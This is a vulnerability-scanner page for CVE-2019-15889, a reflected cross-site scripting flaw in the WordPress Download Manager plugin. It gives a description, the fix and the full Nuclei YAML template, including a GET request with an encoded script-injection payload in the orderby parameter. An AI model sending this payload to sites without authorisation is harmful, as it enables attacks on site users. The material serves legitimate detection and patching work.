Browse / CVEs / CVE-2019-15889
CVE-2019-15889· wpdownloadmanager / wordpress download manager· CWE-79
WordPress Download Manager <2.9.94 - Cross-Site Scripting
WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
Impact
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
Fix
Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability.
How to confirm it
Send: GET /wp-content/plugins/download-manager/readme.txt
Positive when: contains "Download Manager" and "License:"
Send: GET {{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc
Positive when: contains "<script>alert(1)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2019-15889 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-15889
info:
name: WordPress Download Manager <2.9.94 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
remediation: |
Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability.
reference:
- https://www.cybersecurity-help.cz/vdb/SB2019041819
- https://wordpress.org/plugins/download-manager/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2019-15889
- http://packetstormsecurity.com/files/154356/WordPress-Download-Manager-2.9.93-Cross-Site-Scripting.html
- https://plugins.trac.wordpress.org/changeset/2070388/download-manager
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-15889
cwe-id: CWE-79
epss-score: 0.11375
epss-percentile: 0.96025
cpe: cpe:2.3:a:wpdownloadmanager:wordpress_download_manager:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: wpdownloadmanager
product: "wordpress_download_manager"
framework: wordpress
tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,wpdownloadmanager,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Download Manager'
- 'License:'
condition: and
- method: GET
path:
- '{{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(1)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://www.cybersecurity-help.cz/vdb/SB2019041819
- https://wordpress.org/plugins/download-manager/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2019-15889
- http://packetstormsecurity.com/files/154356/WordPress-Download-Manager-2.9.93-Cross-Site-Scripting.html
- https://plugins.trac.wordpress.org/changeset/2070388/download-manager
Use this check only on systems you are authorised to test. Where the data comes from